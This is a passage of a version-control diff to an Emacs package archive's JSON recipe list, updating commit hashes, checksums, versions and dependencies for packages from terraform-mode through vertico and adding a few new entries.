"8a6ffd5ac133ced5afd07b9d963272e4208f8b1e", - "sha256": "1bg979zpmbc7g8bzlpbdycll9qm0hzgvrdgviqvgb0ylg2s2mxhp" + "commit": "1e6963662d50196efb78f906a4d3d8669454dbbb", + "sha256": "1w892ak6bl8armlqbhc6d690y8dm1fnf9sz7sz5zh6y3i92dnj6v" }, "stable": { "version": [ @@ -116336,15 +117179,15 @@ "repo": "hcl-emacs/terraform-mode", "unstable": { "version": [ - 20230607, - 1923 + 20231116, + 1525 ], "deps": [ "dash", "hcl-mode" ], - "commit": "25a22a66f81e35c75f2fdaaab89aad7f9940fe06", - "sha256": "11c9bwgrzjw3y70xq5g8z53hi71gpg2xx79d63a337rxyd3yaia5" + "commit": "e8b57df8c2a3d3171f3768f60eb84067f553289c", + "sha256": "03gdyal1r0b64ljmnpz0wcq9rylfh06cv3vggcz81zvjnyssh9qi" }, "stable": { "version": [ @@ -116699,11 +117542,11 @@ "repo": "monkeyjunglejuice/matrix-emacs-theme", "unstable": { "version": [ - 20230402, - 1218 + 20240131, + 924 ], - "commit": "b339285651e088bc51fa2fb51aa319fb70cab9a4", - "sha256": "1rnb3h8bhdrawfhlkp32y2r0rai2pxj71qsvpj62drjk582bkfjm" + "commit": "90f12caafae16d02202b8a63124fc175dcc48dad", + "sha256": "1aynlm3l1df5vnnzvpdvlkgvk71qsbx7080lpj9d0a1hb81jzygf" } }, { @@ -116923,21 +117766,21 @@ "repo": "facebook/fbthrift", "unstable": { "version": [ - 20231110, - 2354 + 20240128, + 1731 ], - "commit": "ebc7d0f77dd49abe280000409954f7672eedd36d", - "sha256": "1a3a12z9dvqqmjcd9bc6y5xgwj0s8vn3mpk528381jg86lf4wrv2" + "commit": "2a84ddacc7472f951f95595970051daf95376e04", + "sha256": "14whjdizxhhiiixdrckrdhy8phhbry22yyxp6vdd902p66kimhj2" }, "stable": { "version": [ - 2023, - 11, - 13, + 2024, + 1, + 29, 0 ], - "commit": "ebc7d0f77dd49abe280000409954f7672eedd36d", - "sha256": "1a3a12z9dvqqmjcd9bc6y5xgwj0s8vn3mpk528381jg86lf4wrv2" + "commit": "2a84ddacc7472f951f95595970051daf95376e04", + "sha256": "14whjdizxhhiiixdrckrdhy8phhbry22yyxp6vdd902p66kimhj2" } }, { @@ -116987,14 +117830,14 @@ "repo": "tidalcycles/Tidal", "unstable": { "version": [ - 20230616, - 734 + 20230312, + 1245 ], "deps": [ "haskell-mode" ], - "commit": "8f7b9368c78f56a3adc30a02a7056970d2afaa3f", - "sha256": "0y42763f7kgnzvh7abr0kjald61hb1m7y18xqkq3z4ja0xppqwss" + "commit": "3ac320020d809ea626fc283839fecb10c9da4ce2", + "sha256": "1imqmg4naffiplpc3m74jvf26xwpy6026s61sg4si290qz3cvfq4" }, "stable": { "version": [ @@ -117053,26 +117896,26 @@ "repo": "zkry/tiktoken.el", "unstable": { "version": [ - 20230719, - 129 + 20240103, + 340 ], "deps": [ "f" ], - "commit": "957ece897933460d532057fe60cfddcd9e49d8b5", - "sha256": "14f17m7kzppax9qm7f9qqx88sy8608kcb3pmcsaa7crpl75a9k2g" + "commit": "1dec1547024c10f32cd49129f937fa1d3ee39d01", + "sha256": "1bgm30r05z181df5jfhq3yyjcjcarn7lnlsbaq54l8fsan9krhpc" }, "stable": { "version": [ 0, - 1, - 2 + 2, + 1 ], "deps": [ "f" ], - "commit": "0e48dc3e322e8bee03f07a6dd23b9b3f026400a8", - "sha256": "050fl60krrfgkx0ib6rnmx4hmlcskbdhvia1crd0vqd09mhbl7pa" + "commit": "1dec1547024c10f32cd49129f937fa1d3ee39d01", + "sha256": "1bgm30r05z181df5jfhq3yyjcjcarn7lnlsbaq54l8fsan9krhpc" } }, { @@ -117163,11 +118006,11 @@ "repo": "RobertPlant/time-uuid-mode", "unstable": { "version": [ - 20230312, - 2256 + 20240112, + 1005 ], - "commit": "6f0768edb7588add3713952e5b20e9df8ee51f89", - "sha256": "10hiajmqdyhxcbsy8ywaf0rp9yb4k5dr723lij4vc76bqjv6jpdq" + "commit": "e30f50229c617bdd31a1edcd849cba1f3423fea1", + "sha256": "1ry1v86qw6xf245nkpjrnjinnbhcj57g3xabsv4q566cdi9l3hwy" } }, { @@ -117178,15 +118021,14 @@ "repo": "emacs-php/emacs-datetime", "unstable": { "version": [ - 20160520, - 1052 + 20240105, + 2100 ], "deps": [ - "cl-lib", "datetime-format" ], - "commit": "3a1871613facc928ff250ed8f12fbc7073e46b75", - "sha256": "0pabb260d3vcr57jqqxqk90vp2qnm63sky37rgvhv508zix2hbva" + "commit": "090bfff5c28fa0a6cb629512003c49b3f43ed72d", + "sha256": "0sxsvcvxrmyaqp4r5khqv29i7a61kxg4z439b5xc40sfxsljk9pp" } }, { @@ -117584,11 +118426,11 @@ "repo": "vifon/tmsu.el", "unstable": { "version": [ - 20231114, - 1615 + 20240117, + 1813 ], - "commit": "f809e49e8a53fdfd05dd5c345b52588014668de9", - "sha256": "19f47gd1l9wdqxyrmxa7jwffh59s3dz922b4aybh73q9x5db7lbf" + "commit": "c7dc44c97bf420ff0da5d552abfc9782bed70602", + "sha256": "1qn9y3nyx7796yx7qs8j368dskdfnpxhw1vvhlm9xd4dv8sxqjka" } }, { @@ -117599,11 +118441,11 @@ "repo": "nverno/tmux-mode", "unstable": { "version": [ - 20231026, - 2118 + 20231130, + 1249 ], - "commit": "632fc7981ceaea19ab2af0e47acae926354ab453", - "sha256": "1j4gr3wmh6wrr6lj9bjx7gg34qqywb54309vq28x6y4k9ng966zb" + "commit": "ee50d02721600c4b31cdafbb9f2ecc5becf1a5f6", + "sha256": "09nd6435hcac0vidlzs2dsx41bzryji3s0kpjhlz1yz81bxw7zq0" } }, { @@ -117614,15 +118456,15 @@ "repo": "laishulu/emacs-tmux-pane", "unstable": { "version": [ - 20231014, - 25 + 20240106, + 131 ], "deps": [ "names", "s" ], - "commit": "c38b063a7669ee3bc16cd93a805cd46c2ee80827", - "sha256": "00gz33r1h3csh7ys8k4ack7ri5d8h45akqxjry9rd2mywahbx3k4" + "commit": "0ab0d40b497e984a589189358e04e322b8165985", + "sha256": "0lmn62s7iqnk3yai6dvr572hf8f16dym7apls0my9pqcam22zwqc" } }, { @@ -117672,16 +118514,16 @@ "repo": "abrochard/emacs-todoist", "unstable": { "version": [ - 20230120, - 2208 + 20240113, + 1729 ], "deps": [ "dash", "org", "transient" ], - "commit": "d79b4ea4ea4891635966bfc2c769484d2916be80", - "sha256": "15hpayv41bb7gfy1s1mc0zmd8r1h8h5xmb18sgc4v6l1k4x17z1j" + "commit": "e756a345d213d93fbb965d1314c4dec62566c653", + "sha256": "18hnpmbbmn939s0z0ynjxl3fkgg9xzpj82rvks81xvv8nf19wfsx" } }, { @@ -117943,11 +118785,14 @@ "repo": "alphapapa/topsy.el", "unstable": { "version": [ - 20230414, - 1738 + 20231214, + 843 ], - "commit": "149ee929dad667fd7668728d9b59dedb0183dfe5", - "sha256": "122xzikqcd5ycqb8gl19xy0l6pp6xm29viksmc0xl5kzxjvbcdyx" + "deps": [ + "compat" + ], + "commit": "8b6c6d5026ac72b4c3704ed7bb8fafe1ea343699", + "sha256": "0vimk87yp473y70pf9rfk0scbcsg1qbfcy0nnnlgjwhm1hlqxsc7" } }, { @@ -118042,11 +118887,40 @@ "repo": "juergenhoetzel/emacs-totp", "unstable": { "version": [ - 20230902, - 1828 + 20240102, + 1721 ], - "commit": "755e645c063860adb3f22f170b9fee86a4054882", - "sha256": "0q4lw85d8k0rwgrcq8m5zw10ilaf72bvxhgx91pkl0z0wx7azplv" + "commit": "fe05ce6130ff1e9a76fc2aca289083475f70fd52", + "sha256": "04hazm8viy6dqakdj2dl849aj435jgsv3rqwq7sl7lgflrn8r45b" + } + }, + { + "ename": "totp-auth", + "commit": "716b2327c4940c05cc4fbcb3dcbca4d22b7455cc", + "sha256": "151v9zz3ag1vwknnyhjic0kgc2a358rrfm6q8mxq1hyq53jgkkkl", + "fetcher": "gitlab", + "repo": "fledermaus/totp.el", + "unstable": { + "version": [ + 20240203, + 2152 + ], + "deps": [ + "base32" + ], + "commit": "5fa6529ace892972d2d7ce08af88c7912a1c25a6", + "sha256": "05z6w1s4mxv8knnknq5lj6frp7j4wy6zrafg1hq1kv7q28nqv4qr" + }, + "stable": { + "version": [ + 1, + 0 + ], + "deps": [ + "base32" + ], + "commit": "da1498e54df8802efe2174c0e988c23fea49fc79", + "sha256": "05z6w1s4mxv8knnknq5lj6frp7j4wy6zrafg1hq1kv7q28nqv4qr" } }, { @@ -118192,11 +119066,11 @@ "repo": "emacs-circe/circe", "unstable": { "version": [ - 20220421, - 1956 + 20231119, + 1417 ], - "commit": "710f057fedae6e9b820cce9336fef24b7d057e4c", - "sha256": "0lrxd4hanaxj85nafsc0wss677slmyaks3qb7a95mj7vic3ib937" + "commit": "1a66ac496465d5970d982b088809940286b77800", + "sha256": "06digshq994ggsiw9cfs4kfsj4xmp1byi5d5fs3wkqljdw08078n" }, "stable": { "version": [ @@ -118274,6 +119148,30 @@ } }, { + "ename": "transducers", + "commit": "fd23a795aec65bce9854b829867b4376c9a5a774", + "sha256": "1jk5myvqcaik6nc1nj0hy8gdysw2bikrvqw3dd2j92hvr4zwdzad", + "fetcher": "sourcehut", + "repo": "fosskers/transducers.el", + "unstable": { + "version": [ + 20231224, + 2358 + ], + "commit": "7e75ccee58edaf16d98a1b3aef14035daf4a5370", + "sha256": "1c26xw7q4ksdrifs347br6rxmb36gz4fsz5j51b2gmr9v0fpy3ml" + }, + "stable": { + "version": [ + 1, + 1, + 0 + ], + "commit": "7e75ccee58edaf16d98a1b3aef14035daf4a5370", + "sha256": "1c26xw7q4ksdrifs347br6rxmb36gz4fsz5j51b2gmr9v0fpy3ml" + } + }, + { "ename": "transfer-sh", "commit": "55dc23a82be3e85b46cfdee18697b1b096573924", "sha256": "1pzsjibqbzkvfb4c5i271yb5jjadsclb383jfhi6jikpnm3vkf5g", @@ -118299,27 +119197,28 @@ "repo": "magit/transient", "unstable": { "version": [ - 20231112, - 923 + 20240201, + 1100 ], "deps": [ "compat", "seq" ], - "commit": "3cd1de1695084df089cc90cff89b32dfd6ca5a0a", - "sha256": "0j7cww8ip51nqn3qyw027ki7bcg4m7lmh6xxv8ahxsh6mb0iqcdv" + "commit": "0fc87002d8c72dc309b8b8487770642d3b1fca5f", + "sha256": "1rh5ffs2mqs54chalia0zfk8qjkglv0c2h3pqrxs501bahvxv4v8" }, "stable": { "version": [ 0, - 4, + 5, 3 ], "deps": [ - "compat" + "compat", + "seq" ], - "commit": "8cf1238181d57504e68f42fa0d4ef66784b197a9", - "sha256": "03qs1bj7dxgdppzcnhzmldpdam1h8kzd0ps2bk82slypm7d63nay" + "commit": "72cf67d7e047a4f82e0e18bd016c7826bf2efde0", + "sha256": "0fr0pan4dffckfywnx7a0dkb2l71fnc47cqqqb1lckqwr1gr9z6l" } }, { @@ -118511,11 +119410,11 @@ "repo": "jcs-elpa/transwin", "unstable": { "version": [ - 20220921, - 831 + 20240126, + 720 ], - "commit": "ed0156a98b6fce94da9045bdffe369f390b70c0c", - "sha256": "13q9mm76pp2h3jhp5kyc3gynzzzzaiczhkc1lvwq1zmrca9bavr2" + "commit": "99f9296a18654cb38f2ffb8682b7532be60bec5e", + "sha256": "1h65dc50ia64q9gm8xyiljif7sjzphj6fdbc7ra4bkxj8amivy05" }, "stable": { "version": [ @@ -118595,15 +119494,15 @@ "repo": "tarsius/tray", "unstable": { "version": [ - 20230917, - 1002 + 20240101, + 2226 ], "deps": [ "compat", "transient" ], - "commit": "b8d48c81de06261926420d75608cc69f99970563", - "sha256": "1l8jmkpdc9mc6z6znmxa7g5n6sgvpy78rgrpxfcafgjiki8lmqqr" + "commit": "15c08ec2b57ce0535f54242088d6051d2cf9a049", + "sha256": "0p9hg76a3ah8910r11da0c8ig4c6jpyinqnkgn15y0w3kb1zsh23" }, "stable": { "version": [ @@ -118627,16 +119526,16 @@ "repo": "ethan-leba/tree-edit", "unstable": { "version": [ - 20231108, - 1749 + 20231124, + 1712 ], "deps": [ "dash", "reazon", "s" ], - "commit": "5f12ca6f366aad2c311bac09817f079900dce8d2", - "sha256": "0gs9jfv20mnjk3b6ry7vd5yfib0278c3l9gkkcdflbchgwyggq92" + "commit": "3e71d276e7369ff4525f0e2b84356a31fe6b7782", + "sha256": "1f4r7bd4cvrv5piks62aq7m7y1wx8ddg7d7f5s6b3z9fmrh7jd2b" } }, { @@ -118774,26 +119673,26 @@ "repo": "emacs-tree-sitter/tree-sitter-langs", "unstable": { "version": [ - 20231115, - 1119 + 20240107, + 149 ], "deps": [ "tree-sitter" ], - "commit": "3a3ad0527d5f8c7768678878eb5cfe399bedf703", - "sha256": "0hbkb2b5i3dgax7jsjds4h6zyyzxyk5r5hcgpzlna61vqjwvvd8l" + "commit": "20fbbb85735a9196ba3e7fb33f99b3a904b363ba", + "sha256": "0bxy0hpgsfcdpvyxhlps2rmxdbwaxyzm19kxff9aalknfby5ssij" }, "stable": { "version": [ 0, 12, - 79 + 92 ], "deps": [ "tree-sitter" ], - "commit": "3a3ad0527d5f8c7768678878eb5cfe399bedf703", - "sha256": "0hbkb2b5i3dgax7jsjds4h6zyyzxyk5r5hcgpzlna61vqjwvvd8l" + "commit": "20fbbb85735a9196ba3e7fb33f99b3a904b363ba", + "sha256": "0bxy0hpgsfcdpvyxhlps2rmxdbwaxyzm19kxff9aalknfby5ssij" } }, { @@ -118804,26 +119703,26 @@ "repo": "purplg/treebundel", "unstable": { "version": [ - 20231007, - 1424 + 20240203, + 1555 ], "deps": [ "compat" ], - "commit": "0e63d0b3c9029b63b3e446e6317bd7d366c0436a", - "sha256": "0adfx4hbklvgnkv6bkrs7lfh2d4ncksmapg72fywpa2mapww6fqg" + "commit": "d04174fe881efea704ce4a5065dd486ab0040db5", + "sha256": "10smm6fngsdkvwnqpjkxc3r0nmqj5sr676025ndsh52448w8bf5i" }, "stable": { "version": [ 0, - 1, + 2, 0 ], "deps": [ "compat" ], - "commit": "869e79dd95997e76443b3aea1567532d58e61956", - "sha256": "1hk2xnjsr85in48h02xbzi8lsccp36li2bp9v9j0r8qn1bis2vv9" + "commit": "03c70cc9b18e83f156797064e1fd2a484fd3ff03", + "sha256": "1lmkq35i7rfvvp1aslgv9q3d0kqqwfn8cmdbjib8j0fbclqxbyyg" } }, { @@ -118870,8 +119769,8 @@ "repo": "Alexander-Miller/treemacs", "unstable": { "version": [ - 20231109, - 1915 + 20240126, + 642 ], "deps": [ "ace-window", @@ -118883,8 +119782,8 @@ "pfuture", "s" ], - "commit": "a1e855bce6c112d57994c991bc50775b6922f73e", - "sha256": "0vhlyqfa70jxc3yfh7g3vpr792kk88jsd16majn1jkqmldi6vk3r" + "commit": "df26b6ab9a0f467e5ff99f7ed97551ccf756e06c", + "sha256": "06160g1h1jxsmil2i5rgg1q1mzz9482zc62k6d5ncz2cdw3mf64x" }, "stable": { "version": [ @@ -119208,20 +120107,20 @@ "repo": "renzmann/treesit-auto", "unstable": { "version": [ - 20231111, - 250 + 20240131, + 1815 ], - "commit": "e3beb757ce42de47b063023d08ebdf49613b56bd", - "sha256": "1r7bag4iyvsi8lqnwyacsk1fwclwkazwr9yz1a0kjcw7fqj9ysmd" + "commit": "4225f2245247585d581bffb09225dcb21d443421", + "sha256": "0ghcdcil9b7hirq2dqngwzq9ycx1lc4pxm6zam6gbcf4plm0zhvh" }, "stable": { "version": [ + 1, 0, - 6, - 9 + 2 ], - "commit": "e3beb757ce42de47b063023d08ebdf49613b56bd", - "sha256": "1r7bag4iyvsi8lqnwyacsk1fwclwkazwr9yz1a0kjcw7fqj9ysmd" + "commit": "be7c549c9aa723ab0dce995ad8f156bbdfe7208b", + "sha256": "1pg54f2hj9v77f5zs2d8g1ip3n8c72z8zxhmc5ia6k96w3gq3f3l" } }, { @@ -119847,17 +120746,26 @@ }, { "ename": "typewriter-roll-mode", - "commit": "4b17337429ea28905a8d8da0de1faf93149d7a3c", - "sha256": "153c9ij63r24ys8xgv06lyzbz89sxdnz1p7b34cg8wpm1jacmz74", + "commit": "57abce9f9faa4109672516a3a9beff684f8f5a3e", + "sha256": "1higdy13s19cqcbg2kvaqxx5larsc1h6x7wy5hpzpgbhasdbvc3g", "fetcher": "github", "repo": "KeyWeeUsr/typewriter-roll-mode", "unstable": { "version": [ - 20231009, - 2207 + 20231130, + 1 + ], + "commit": "100da2ba50195dcde926aecdf8b72ce4c1ccaeff", + "sha256": "165mrqy13bkrabc5hsd780ll362j7b518c5ys6qlcdvijv4dgm40" + }, + "stable": { + "version": [ + 1, + 0, + 1 ], - "commit": "3114d05731517d40972e2ed896806b25bdc0d8c2", - "sha256": "0ns5warzk9hy4wivw5qc51lj95ik66wv4d82qxr49grrmy47924f" + "commit": "100da2ba50195dcde926aecdf8b72ce4c1ccaeff", + "sha256": "165mrqy13bkrabc5hsd780ll362j7b518c5ys6qlcdvijv4dgm40" } }, { @@ -120148,6 +121056,42 @@ } }, { + "ename": "uiua-mode", + "commit": "439ff5e57091d040ceab47b46a410da5a1f5241b", + "sha256": "1hwmd9isj3pkcbakxjmpcw7adsx13q9ac5bpq5avb4s4mqp4zxff", + "fetcher": "github", + "repo": "crmsnbleyd/uiua-mode", + "unstable": { + "version": [ + 20231219, + 1706 + ], + "deps": [ + "reformatter" + ], + "commit": "24115f187212a89e600dfb870fc34880355846ed", + "sha256": "11lagjk8vwbls5dxqfcrrljn82f0rbljn9x4fz0sf96svja8j2va" + } + }, + { + "ename": "uiua-ts-mode", + "commit": "439ff5e57091d040ceab47b46a410da5a1f5241b", + "sha256": "0zhfg6ajcm5g2mk87m6rb4nj4ynn7jsh1j8iwngv9alilgjfvwgd", + "fetcher": "github", + "repo": "crmsnbleyd/uiua-ts-mode", + "unstable": { + "version": [ + 20231215, + 2007 + ], + "deps": [ + "uiua-mode" + ], + "commit": "1d9b2d4929094e7df7dd23aa1204b4a47c654cc4", + "sha256": "0bgpnd13z1011f5c4sq55jpvf0f6l52v53b739j46czn705ygm8k" + } + }, + { "ename": "ujelly-theme", "commit": "091dcc3775ec2137cb61d66df4e72aca4900897a", "sha256": "0b7zgmpsdn5p3jx4kif7phxz8pb85snmmfr3yz98xf6p7h6w60gw", @@ -120268,17 +121212,17 @@ }, { "ename": "undersea-theme", - "commit": "0ee426fc0dcf1d8a4519ea9f953a8e20f1505f05", - "sha256": "1f2lkm4nv0sah2674wkfd50qx3mjg57618kcjvwam1q6qz2k1q41", + "commit": "60b3f2b116baae4321bf873d0312d50766f2e73a", + "sha256": "0ablfdkl24c2yy1z5smqdwbdagxrhkmlxlhg8qapa7v1yndn6zmi", "fetcher": "github", - "repo": "jcs-elpa/undersea-theme", + "repo": "jcs-legacy/undersea-theme", "unstable": { "version": [ - 20220616, - 1950 + 20240101, + 1006 ], - "commit": "6bc351c4cb49ccc7210801e6b54ecc2993289b92", - "sha256": "0vvz0s5jq2a9dlqbnq18mlkh4dkpp8kizkjyn7jk38npqy4syyv1" + "commit": "0730e21187367003c533e67cdb676a423a8dccd0", + "sha256": "0cp8abih0pibp57wvf84l1gszzsdn5c2hlqp6v263rpx9zamvjll" }, "stable": { "version": [ @@ -120336,11 +121280,11 @@ "repo": "ideasman42/emacs-undo-fu-session", "unstable": { "version": [ - 20230703, - 2353 + 20231207, + 2214 ], - "commit": "a6c4f73bc22401fd36e0f2fd4fe058bb28566d84", - "sha256": "03pb88bi5z4f01972jbk9z6w9iqamqflfp20mih29ghvbiyn6ahj" + "commit": "9147a7223ee8136769cf42239c7d9a8577edfaff", + "sha256": "198bbfmx5hx2wm594xa8jkdf2hm680sai6wgl4cwc6gp0s7ggg5h" } }, { @@ -120832,26 +121776,56 @@ "repo": "swflint/emacs-universal-sidecar", "unstable": { "version": [ - 20231023, - 219 + 20240130, + 2120 ], "deps": [ "magit-section" ], - "commit": "85dd85d1f5167d9aca17e4a537dd699ea52d3864", - "sha256": "039g112wj3aj5fldlxs6wbni8gfxb1qp0qai8ix305afjkkz9022" + "commit": "d7a30e53fdda44a07160ef438ae1068178f23785", + "sha256": "0zhafx5rk6221whi167j6vvlld7wwnd7capzdflv3x8d5jbhy87k" }, "stable": { "version": [ 1, - 4, - 1 + 5, + 2 ], "deps": [ "magit-section" ], - "commit": "85dd85d1f5167d9aca17e4a537dd699ea52d3864", - "sha256": "039g112wj3aj5fldlxs6wbni8gfxb1qp0qai8ix305afjkkz9022" + "commit": "9050eaea7946e613a4b9ecd9dd1462614699edb1", + "sha256": "169n0d4hsx9azch1w14wlmilm411hb7v0564xrcwww5w145jrs9m" + } + }, + { + "ename": "universal-sidecar-citeproc", + "commit": "80852cf1c594ba8ca72634b8364f5495d3c039b6", + "sha256": "0vg3a7d0hrar77q96vlisalsk532inzpi5gw345f1g61vlb8v35j", + "fetcher": "sourcehut", + "repo": "swflint/emacs-universal-sidecar", + "unstable": { + "version": [ + 20240115, + 1727 + ], + "deps": [ + "citeproc" + ], + "commit": "9050eaea7946e613a4b9ecd9dd1462614699edb1", + "sha256": "169n0d4hsx9azch1w14wlmilm411hb7v0564xrcwww5w145jrs9m" + }, + "stable": { + "version": [ + 1, + 5, + 2 + ], + "deps": [ + "citeproc" + ], + "commit": "9050eaea7946e613a4b9ecd9dd1462614699edb1", + "sha256": "169n0d4hsx9azch1w14wlmilm411hb7v0564xrcwww5w145jrs9m" } }, { @@ -120862,30 +121836,30 @@ "repo": "swflint/emacs-universal-sidecar", "unstable": { "version": [ - 20231023, - 219 + 20240115, + 1727 ], "deps": [ "bibtex-completion", "elfeed", "universal-sidecar" ], - "commit": "85dd85d1f5167d9aca17e4a537dd699ea52d3864", - "sha256": "039g112wj3aj5fldlxs6wbni8gfxb1qp0qai8ix305afjkkz9022" + "commit": "9050eaea7946e613a4b9ecd9dd1462614699edb1", + "sha256": "169n0d4hsx9azch1w14wlmilm411hb7v0564xrcwww5w145jrs9m" }, "stable": { "version": [ 1, - 4, - 1 + 5, + 2 ], "deps": [ "bibtex-completion", "elfeed", "universal-sidecar" ], - "commit": "85dd85d1f5167d9aca17e4a537dd699ea52d3864", - "sha256": "039g112wj3aj5fldlxs6wbni8gfxb1qp0qai8ix305afjkkz9022" + "commit": "9050eaea7946e613a4b9ecd9dd1462614699edb1", + "sha256": "169n0d4hsx9azch1w14wlmilm411hb7v0564xrcwww5w145jrs9m" } }, { @@ -120896,30 +121870,30 @@ "repo": "swflint/emacs-universal-sidecar", "unstable": { "version": [ - 20231023, - 219 + 20240115, + 1727 ], "deps": [ "elfeed", "elfeed-score", "universal-sidecar" ], - "commit": "85dd85d1f5167d9aca17e4a537dd699ea52d3864", - "sha256": "039g112wj3aj5fldlxs6wbni8gfxb1qp0qai8ix305afjkkz9022" + "commit": "9050eaea7946e613a4b9ecd9dd1462614699edb1", + "sha256": "169n0d4hsx9azch1w14wlmilm411hb7v0564xrcwww5w145jrs9m" }, "stable": { "version": [ 1, - 4, - 1 + 5, + 2 ], "deps": [ "elfeed", "elfeed-score", "universal-sidecar" ], - "commit": "85dd85d1f5167d9aca17e4a537dd699ea52d3864", - "sha256": "039g112wj3aj5fldlxs6wbni8gfxb1qp0qai8ix305afjkkz9022" + "commit": "9050eaea7946e613a4b9ecd9dd1462614699edb1", + "sha256": "169n0d4hsx9azch1w14wlmilm411hb7v0564xrcwww5w145jrs9m" } }, { @@ -120930,28 +121904,28 @@ "repo": "swflint/emacs-universal-sidecar", "unstable": { "version": [ - 20231023, - 219 + 20240115, + 1727 ], "deps": [ "org-roam", "universal-sidecar" ], - "commit": "85dd85d1f5167d9aca17e4a537dd699ea52d3864", - "sha256": "039g112wj3aj5fldlxs6wbni8gfxb1qp0qai8ix305afjkkz9022" + "commit": "9050eaea7946e613a4b9ecd9dd1462614699edb1", + "sha256": "169n0d4hsx9azch1w14wlmilm411hb7v0564xrcwww5w145jrs9m" }, "stable": { "version": [ 1, - 4, - 1 + 5, + 2 ], "deps": [ "org-roam", "universal-sidecar" ], - "commit": "85dd85d1f5167d9aca17e4a537dd699ea52d3864", - "sha256": "039g112wj3aj5fldlxs6wbni8gfxb1qp0qai8ix305afjkkz9022" + "commit": "9050eaea7946e613a4b9ecd9dd1462614699edb1", + "sha256": "169n0d4hsx9azch1w14wlmilm411hb7v0564xrcwww5w145jrs9m" } }, { @@ -121147,20 +122121,20 @@ "repo": "ursalang/ursa-ts-mode", "unstable": { "version": [ - 20231113, - 2331 + 20231119, + 1545 ], - "commit": "b4afa0c2f2a06fca4fcba8772989e4ca09bab7b9", - "sha256": "1x9vlwwbrdghp02bpqgjni77wsnhcm0w8c0ph9v87xr21mpkwclk" + "commit": "8a2a6011ff68852c0714a9ef17b25efc519fdd64", + "sha256": "0m515zx8k1gh5lji7fs97wcj8r0w488lzid7jrp1s7m3a6cd27hr" }, "stable": { "version": [ 1, 3, - 4 + 5 ], - "commit": "b4afa0c2f2a06fca4fcba8772989e4ca09bab7b9", - "sha256": "1x9vlwwbrdghp02bpqgjni77wsnhcm0w8c0ph9v87xr21mpkwclk" + "commit": "8a2a6011ff68852c0714a9ef17b25efc519fdd64", + "sha256": "0m515zx8k1gh5lji7fs97wcj8r0w488lzid7jrp1s7m3a6cd27hr" } }, { @@ -121396,11 +122370,11 @@ "repo": "jcs-elpa/use-ttf", "unstable": { "version": [ - 20230503, - 1015 + 20240101, + 928 ], - "commit": "a01d9aef26ffc45dbe8d57d7c061a3a80eb79a2b", - "sha256": "1wfqxazs8xx7fyr69q0xqhpnxz3kz1mkb8fq6pb2wmpzrm3jbdnw" + "commit": "e0f61ad6c0b6ecf89ff0b43c430b15c94ec8c8b3", + "sha256": "11mp10s7pdkr5zrx793767n4y5afm8n9c8gxhs1scvqz3hpw46b5" }, "stable": { "version": [ @@ -121499,11 +122473,11 @@ "repo": "kanru/uuidgen-el", "unstable": { "version": [ - 20220405, - 1345 + 20240201, + 2318 ], - "commit": "7b728c1d92e196c3acf87a004949335cfc18eab3", - "sha256": "1z7x4p1qgyginn74xapd1iq0k53m9qbfk57dzc8srg7fcn5ip1js" + "commit": "cebbe09d27c63abe61fe8c2e2248587d90265b59", + "sha256": "1ih6kj3inwdxypbqj2n5vnfxmc6rfrx114w8bdy60yd8klx7273d" }, "stable": { "version": [ @@ -122226,11 +123200,11 @@ "repo": "federicotdn/verb", "unstable": { "version": [ - 20231114, - 2309 + 20231120, + 1806 ], - "commit": "1edcf0c3758c70acb9393fda7dfbc5957bb0fbeb", - "sha256": "1wjrfzmalkgk9778kc4maz7khq1dli0x27ifyhgi8zvgy899pykc" + "commit": "203605638455fd1057bd808485280c1b87465479", + "sha256": "1lyq93jybhqc2amfnsi1lg5i3m317pmva3vpfpqqixxrhgz5sbzh" }, "stable": { "version": [ @@ -122287,8 +123261,8 @@ "repo": "gmlarumbe/verilog-ext", "unstable": { "version": [ - 20231020, - 1553 + 20240112, + 1542 ], "deps": [ "ag", @@ -122303,20 +123277,19 @@ "verilog-ts-mode", "yasnippet" ], - "commit": "31bc0f38a83cbfd34abe3858081d290d16d8dc7a", - "sha256": "0csi1a6j71l4nl7x31gd6655mp79lyqrjl9kbb2ywrfiiz97gfyc" + "commit": "3f54bcc3cf0925e76a8bc9df7f4bac0567d1712e", + "sha256": "03pcagfrjgmbjj68ap9iysaa8w9176rghwd1hn8gvmrr8vdml3a8" }, "stable": { "version": [ 0, - 3, + 4, 1 ], "deps": [ "ag", "apheleia", "async", - "eglot", "flycheck", "hydra", "lsp-mode", @@ -122326,8 +123299,8 @@ "verilog-ts-mode", "yasnippet" ], - "commit": "72698f6f8ac71c29a877ee129f04511a11bb9978", - "sha256": "158xs928k7dl80j78fgx786zf4z3r5d61yv2dg7ki69xdc0bggwp" + "commit": "0976770f9fc2722357672e532e7a86bc304de171", + "sha256": "196d531zd48sjdmjaqa828z5m3izc4x4wdk2rxx56nn2dahl7fz8" } }, { @@ -122338,20 +123311,20 @@ "repo": "gmlarumbe/verilog-ts-mode", "unstable": { "version": [ - 20231016, - 1204 + 20240109, + 1606 ], - "commit": "d0403317b7e643c25ef786c40ce711dddc60fcd0", - "sha256": "1pv6bq6nkgp8kxp5ci2q85jfmc4yc0962mvssqbzs2gz1ahjbppj" + "commit": "cb108f855611525bd614b4542fa6660c59735445", + "sha256": "0jnyp57v5549lf07m7pgpf8m8lrvjw36bjw5far5ipzaljdg3mh9" }, "stable": { "version": [ 0, 1, - 1 + 2 ], - "commit": "1e4a7cd562c2a710d5b0323f9c7a651e76a4202f", - "sha256": "05k28mc5i611392siymh40mx0wzdzryicsvik85n9l7gzc8zp6dr" + "commit": "572508e9dc562a1718ddc857682c4f37dfbf5654", + "sha256": "06f989qkms4gnj0jrr1a2rkjwsgn0g8fqaz8sky4nwvvs3wmmm99" } }, { @@ -122422,14 +123395,14 @@ "repo": "baron42bba/vertica-snippets", "unstable": { "version": [ - 20231010, - 1104 + 20231215, + 1512 ], "deps": [ "yasnippet" ], - "commit": "6f0df19d36a9670484e84b347716f305301359ad", - "sha256": "0nrvc569bfbd1qvzlbgns2vasnxsrq7inkaykiy1jqma8rd4cy9h" + "commit": "a502359e5e263e1946acfb557bdec0854aab9a23", + "sha256": "0l6w7ccii0sgan81zn5khpwf9hqjx1lh67bcvgdyrrs4g9bazl75" } }, { @@ -122440,25 +123413,25 @@ "repo": "minad/vertico", "unstable": { "version": [ - 20231112, - 816 + 20240128, + 1526 ], "deps": [ "compat" ], - "commit": "49a1eb5f3653a3155bff6ff631b336989de61b18", - "sha256": "0fick90jrpgpxsim3n953vbffj572jgxk0cnqlkan5v6pp2px5y6" + "commit": "4a7da56b02c6aefff8f6b4574a530a7cb54bc21a", + "sha256": "0p84pnp14jcmxlmxpl6wpq2f3rfy4lr92gial1a35aigcins4657" 